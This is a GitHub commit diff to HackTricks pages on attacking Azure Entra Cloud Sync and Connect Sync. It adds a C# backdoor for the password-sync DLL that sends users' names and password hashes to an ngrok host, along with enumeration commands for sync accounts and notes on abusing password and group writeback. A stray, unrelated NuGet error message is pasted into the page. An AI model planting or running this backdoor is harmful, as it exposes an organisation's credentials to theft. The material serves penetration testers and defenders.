Skip to content

Commit b687043

Browse files
committed
improvements
1 parent b0fe808 commit b687043

File tree

3 files changed

+208
-58
lines changed

3 files changed

+208
-58
lines changed

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md

Lines changed: 46 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ In order for this to work some principals are created in both Entra ID and the O
2626
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
2727
2828
> [!NOTE]
29-
> Domain admins are not replicated because the Domain Admin group has the **`adminCount` attribute to 1**. But other users might be replicated and attackable if you compromises them from EntraID: https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
29+
> By default users of known privileged groups like Domain Admins with the attribute **`adminCount` to 1 are not synchronized** with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **can be synchronized**.
3030
3131
## Password Sychronization
3232

@@ -38,6 +38,7 @@ az-connect-sync.md
3838

3939
- **Password hash synchronization** can be enabled so users will be able to **login into Entra ID using their passwords from AD**. Moreover, whenever a password is modified in AD, it'll be updated in Entra ID.
4040
- **Password writeback** can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), for this is needed to use the Connect Agent, so take a look to the [Az Connect Sync section](./az-connect-sync.md) for more information.
41+
- **Groups writeback**: This feature allows group memberships from Entra ID to be synchronized back to the on-premises AD. This means that if a user is added to a group in Entra ID, they will also be added to the corresponding group in AD.
4142

4243

4344
## Pivoting
@@ -84,12 +85,55 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
8485
{{#endref}}
8586

8687
> [!NOTE]
87-
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
88+
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users some **Entra ID groups from AD** might be given permissions so the synced users inside those groups also receive them or **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
8889
8990
{{#ref}}
9091
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
9192
{{#endref}}
9293

94+
Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
95+
96+
```csharp
97+
using System;
98+
using System.Net;
99+
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
100+
101+
namespace Microsoft.Online.PasswordSynchronization
102+
{
103+
// Token: 0x0200003E RID: 62
104+
public class PasswordHashGenerator : ClearPasswordHashGenerator
105+
{
106+
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
107+
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
108+
{
109+
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
110+
try
111+
{
112+
using (WebClient webClient = new WebClient())
113+
{
114+
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
115+
}
116+
}
117+
catch (Exception)
118+
{
119+
}
120+
return new PasswordHashData
121+
{
122+
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
123+
RawHash = passwordHashData.RawHash
124+
};
125+
}
126+
}
127+
}
128+
```
129+
130+
131+
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
132+
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
133+
. Please see Error List window for detailed warnings and errors.
134+
135+
136+
93137
### Entra ID --> AD
94138

95139
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
@@ -105,25 +149,15 @@ So the attack surface (and usefulness) of this service is greatly reduced as an
105149
### Enumeration
106150

107151
```bash
108-
Import-Module AADInternals
109-
110-
# Check if the Cloud Sync is enabled in the tenant
111-
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
112-
113152
# Check for the gMSA SA
114153
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
115154

116-
117-
118-
119155
# Get all the configured cloud sync agents (usually one per on-premise domain)
120156
## In the machine name of each you can infer the name of the domain
121157
az rest \
122158
--method GET \
123159
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
124160
--headers "Content-Type=application/json"
125-
126-
127161
```
128162

129163

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md

Lines changed: 43 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) is a main component of Microsoft Entra Connect. It takes care of all the operations that are related to synchronize identity data between your on-premises environment and Microsoft Entra ID.
88

9-
In order to use it, it's needed to install the **`Microsoft Entra Connect Sync`** agent in a server inside your AD enviroment. This agent will be the one taking care of the synchronization from the AD side.
9+
In order to use it, it's needed to install the **`Microsoft Entra Connect Sync`** agent in a server inside your AD environment. This agent will be the one taking care of the synchronization from the AD side.
1010

1111

1212
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
@@ -21,7 +21,7 @@ az-cloud-sync.md
2121

2222
- The account **`MSOL_<installationID>`** is automatically created in the on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
2323
- This means that anyone that compromises this account will be able to compromise the on-premise domain.
24-
- An managed service account **`ADSyncMSA<id>`** is created in the on-prem AD without any special default privileges.
24+
- A managed service account **`ADSyncMSA<id>`** is created in the on-prem AD without any special default privileges.
2525
- In Entra ID the Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** is created with a certificate.
2626

2727
## Synchronize Passwords
@@ -38,6 +38,10 @@ The **hashes syncronization** occurs every **2 minutes**. However, by default, *
3838

3939
When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.
4040

41+
> [!NOTE]
42+
> By default users of known privileged groups like Domain Admins with the attribute **`adminCount` to 1 are not synchronized** with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **can be synchronized**.
43+
44+
4145
### Password Writeback
4246

4347
This configuration allows to **sychronize passwords from Entra ID into AD** whe a user changes its password in Entra ID. Note that for the password writeback to work the `MSOL_<id>` user automatically generated in the AD needs to be granted [more privileges as indicated in the docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) so it'll be able to **modify the passwords of any user in the AD**.
@@ -52,11 +56,40 @@ Domain admins and other users belonging to some pivileged groups are not replica
5256
- Users from the **`Cert Publishers Group`** that can publish certificates to Active Directory.
5357
- Users of any other group with high privileges without the **`adminCount` attribute to 1**.
5458

55-
## Pivoting
59+
## Pivoting AD --> Entra ID
60+
61+
### Enumerating Connect Sync
5662

57-
### AD --> Entra ID
63+
Check for users:
64+
65+
```bash
66+
# Check for the users created by the Connect Sync
67+
Install-WindowsFeature RSAT-AD-PowerShell
68+
Import-Module ActiveDirectory
69+
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
70+
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
71+
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
72+
73+
# Check it using raw LDAP queries without needing an external module
74+
$searcher = New-Object System.DirectoryServices.DirectorySearcher
75+
$searcher.Filter = "(samAccountName=MSOL_*)"
76+
$searcher.FindAll()
77+
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
78+
$searcher.FindAll()
79+
$searcher.Filter = "(samAccountName=Sync_*)"
80+
$searcher.FindAll()
81+
```
82+
83+
Check for the **Connect Sync configuration** (if any):
84+
85+
```bash
86+
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
87+
# Check if password sychronization is enabled, if password and group writeback are enabled...
88+
```
5889
59-
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
90+
### Finding the passwords
91+
92+
The passwords of the **`MSOL_*`** user (and the **Sync\_\*** user if created) are **stored in a SQL server** on the server where **Entra ID Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
6093
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
6194
6295
It's possible to extract the configuration from one of the tables, being one encrypted:
@@ -67,18 +100,6 @@ The **encrypted configuration** is encrypted with **DPAPI** and it contains the
67100
68101
You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
69102
70-
### Finding the **Azure AD connect server**
71-
72-
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
73-
74-
```bash
75-
# ActiveDirectory module
76-
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
77-
78-
#Azure AD module
79-
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
80-
```
81-
82103
### Abusing MSOL\_\*
83104
84105
```bash
@@ -178,6 +199,11 @@ It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses.
178199
seamless-sso.md
179200
{{#endref}}
180201
202+
## Pivoting Entra ID --> AD
203+
204+
- If password writeback is enabled, you can **modify the password of any user in the AD** that is synchronized with Entra ID.
205+
- If groups writeback is enabled, you can **add users to privileged groups** in Entra ID that are synchronized with the AD.
206+
181207
## References
182208
183209
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)

0 commit comments

Comments
 (0)